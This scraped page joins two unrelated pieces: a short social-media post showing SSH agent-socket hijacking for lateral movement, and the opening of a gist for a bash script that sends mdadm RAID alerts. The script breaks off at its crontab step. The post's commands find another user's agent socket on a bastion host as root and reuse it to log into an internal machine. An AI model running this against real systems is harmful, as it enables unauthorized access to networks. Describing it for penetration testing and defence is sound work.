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Wellington Lee wellingtonlee

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Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld
@ericbarch
ericbarch / chkraid.sh
Last active April 21, 2025 19:35
Dead simple alerts when your mdadm array degrades without setting up a full blown MTA
#!/bin/bash
# dead simple mdadm alerts via webhook
# by eric barch [v1.0 -- 2018.11.26]
# 1. place this file in ~/chkraid.sh
# chmod +x ~/chkraid.sh
# 2. drop this in your crontab: